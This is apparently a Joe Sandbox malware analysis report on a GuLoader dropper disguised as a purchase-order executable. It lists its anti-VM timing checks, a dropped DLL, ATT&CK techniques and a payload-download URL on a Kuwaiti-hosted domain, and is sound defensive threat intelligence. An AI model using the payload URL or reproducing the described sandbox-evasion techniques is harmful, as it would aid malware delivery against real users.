Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: PO-10212024168877 PNG2023-W101.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000006.00000002.3906224944.0000000003648000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2614036861.0000000006688000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Code function: 0_2_10002D20 push eax; ret

0_2_10002D4E

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

File created: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	API/Special instruction interceptor: Address: 7056CCE
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	API/Special instruction interceptor: Address: 4016CCE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	RDTSC instruction interceptor: First address: 6FFA451 second address: 6FFA451 instructions: 0x00000000 rdtsc 0x00000002 test cx, dx 0x00000005 cmp ebx, ecx 0x00000007 jc 00007F2D3524E3E3h 0x00000009 test dh, ch 0x0000000b test ebx, eax 0x0000000d inc ebp 0x0000000e inc ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	RDTSC instruction interceptor: First address: 3FBA451 second address: 3FBA451 instructions: 0x00000000 rdtsc 0x00000002 test cx, dx 0x00000005 cmp ebx, ecx 0x00000007 jc 00007F2D34BE3023h 0x00000009 test dh, ch 0x0000000b test ebx, eax 0x0000000d inc ebp 0x0000000e inc ebx 0x0000000f rdtsc

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe TID: 6768	Thread sleep count: 55 > 30			Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe TID: 6768	Thread sleep time: -550000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Code function: 0_2_00406010 FindFirstFileA,FindClose,	0_2_00406010
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Code function: 0_2_004055AE GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055AE
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688

Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181486135.00000000075CB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.00000000075CB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3122910329.00000000075CB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3269183422.00000000075CB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220490283.00000000075CB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3201099129.00000000075CB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3373052656.00000000075CB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.0000000007568000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3102891267.00000000075CB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	API call chain: ExitProcess graph end node			graph_0-4186
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	API call chain: ExitProcess graph end node			graph_0-4335

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Process created: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"

Jump to behavior

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Code function: 0_2_00405D2E GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D2E

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO-10212024168877 PNG2023-W101.exe	53%	ReversingLabs	Win32.Trojan.Guloader
PO-10212024168877 PNG2023-W101.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_Error	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
designcirclekw.com	62.215.181.250	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.bin	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://designcirclekw.com/ler/extension/extension/zXcMABFvBCAfEn173.bin	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142803072.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142595518.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3162090904.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3122796477.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328739652.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3100164919.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328883453.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3161939016.00000000075D8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	PO-10212024168877 PNG2023-W101.exe, 00000006.00000001.2607777042.00000000005F2000.00000008.00000001.01000000.00000006.sdmp	false		unknown
https://designcirclekw.com/4	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3249913342.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3249753104.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2950356283.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2950463769.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3269271168.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://designcirclekw.com/t	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142803072.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181377278.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142595518.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3201010339.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220354716.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181585136.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220645532.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_Error	PO-10212024168877 PNG2023-W101.exe, PO-10212024168877 PNG2023-W101.exe, 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000000.00000000.1445303761.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://designcirclekw.com/v	PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.bind	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3249913342.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3249753104.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3269271168.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3028767017.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2970031415.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3009043227.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3288676137.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3309422923.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220354716.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220645532.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3288465328.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3008954123.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2989432317.00000000075DC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.bin)	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2832627511.00000000075DA000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2832535674.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2813443365.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2890472384.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2871405171.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2852037864.00000000075D8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	PO-10212024168877 PNG2023-W101.exe, 00000006.00000001.2607777042.0000000000649000.00000008.00000001.01000000.00000006.sdmp	false		unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	PO-10212024168877 PNG2023-W101.exe, 00000006.00000001.2607777042.00000000005F2000.00000008.00000001.01000000.00000006.sdmp	false		unknown
http://www.ftp.ftp://ftp.gopher.	PO-10212024168877 PNG2023-W101.exe, 00000006.00000001.2607777042.0000000000649000.00000008.00000001.01000000.00000006.sdmp	false		unknown
https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.binQ	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2871405171.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2852037864.00000000075D8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://designcirclekw.com/$	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3269271168.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3353408541.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3288676137.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3309422923.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3353581442.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328739652.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3288465328.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328883453.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://designcirclekw.com/dmin/controller/extension/extension/zXcMABFvBCAfEn173.binBFvBCAfEn173.bin	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3372975726.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3353408541.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3394670154.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3353581442.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_ErrorError	PO-10212024168877 PNG2023-W101.exe, 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000000.00000000.1445303761.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://designcirclekw.com/F	PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.bin5	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3372975726.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3394670154.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328739652.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328883453.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://designcirclekw.com/	PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181377278.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3070130873.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3269271168.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3028767017.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2970031415.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142595518.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2890472384.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3372975726.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3353408541.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3288676137.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3309422923.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3201010339.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220354716.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2871405171.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181585136.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2852037864.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220645532.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3394670154.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3070453625.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3162090904.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.binlIa	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142803072.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3070130873.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3028767017.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3009043227.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142595518.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3070453625.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3100164919.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3008954123.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2989432317.00000000075DC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://designcirclekw.com/l	PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181377278.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3201010339.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181585136.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3162090904.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3161939016.00000000075D8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.binTf	PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181377278.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3201010339.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220354716.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181585136.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220645532.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3162090904.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3161939016.00000000075D8000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.215.181.250	designcirclekw.com	Kuwait		21050	FAST-TELCOKW	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544856
Start date and time:	2024-10-29 20:34:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO-10212024168877 PNG2023-W101.exe
Detection:	MAL
Classification:	mal72.troj.evad.winEXE@3/11@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 88% Number of executed functions: 45 Number of non-executed functions: 29
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: PO-10212024168877 PNG2023-W101.exe

Simulations

Behavior and APIs

Time	Type	Description
15:37:35	API Interceptor	55x Sleep call for process: PO-10212024168877 PNG2023-W101.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FAST-TELCOKW	6DroQ0jTFY.elf	Get hash	malicious	Mirai	Browse	62.215.147.81
	na.elf	Get hash	malicious	Mirai	Browse	62.215.147.66
	na.elf	Get hash	malicious	Mirai	Browse	62.215.147.73
	na.elf	Get hash	malicious	Mirai	Browse	62.215.147.85
	jade.mips.elf	Get hash	malicious	Mirai	Browse	62.215.172.72
	SecuriteInfo.com.Linux.Siggen.9999.8352.26322.elf	Get hash	malicious	Mirai	Browse	62.215.196.18
	mirai.arm.elf	Get hash	malicious	Mirai	Browse	83.96.72.3
	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	83.96.34.117
	jQ0zXV2d1X.elf	Get hash	malicious	Mirai	Browse	62.215.92.250
	sora.x86.elf	Get hash	malicious	Mirai	Browse	62.215.147.92

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	62.215.181.250
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	62.215.181.250
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	62.215.181.250
	rRFQSMRT-241883-2024.exe	Get hash	malicious	FormBook, GuLoader	Browse	62.215.181.250
	DividasAtivas_tgj.vbs	Get hash	malicious	Unknown	Browse	62.215.181.250
	ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	62.215.181.250
	audiosrv.dll	Get hash	malicious	Matanbuchus	Browse	62.215.181.250
	audiosrv.dll	Get hash	malicious	Matanbuchus	Browse	62.215.181.250
	yolo.dll	Get hash	malicious	Unknown	Browse	62.215.181.250
	Markus-Dokumenten-Kaufvertrag.vbs	Get hash	malicious	GuLoader, Remcos	Browse	62.215.181.250

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll	PO-000041522.exe	Get hash	malicious	FormBook	Browse
	PO-000041522.exe	Get hash	malicious	FormBook	Browse
	SecuriteInfo.com.Program.Unwanted.1283.21599.30651.exe	Get hash	malicious	Unknown	Browse
	cuenta iban-ES65.exe	Get hash	malicious	FormBook, GuLoader	Browse
	cuenta iban-ES65.exe	Get hash	malicious	GuLoader	Browse
	cuenta iban-ES65.exe	Get hash	malicious	FormBook, GuLoader	Browse
	cuenta iban-ES65.exe	Get hash	malicious	GuLoader	Browse
	rResegregation.exe	Get hash	malicious	FormBook, GuLoader	Browse
	rResegregation.exe	Get hash	malicious	GuLoader	Browse
	W1nnerFree CS2.exe	Get hash	malicious	LoaderBot, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
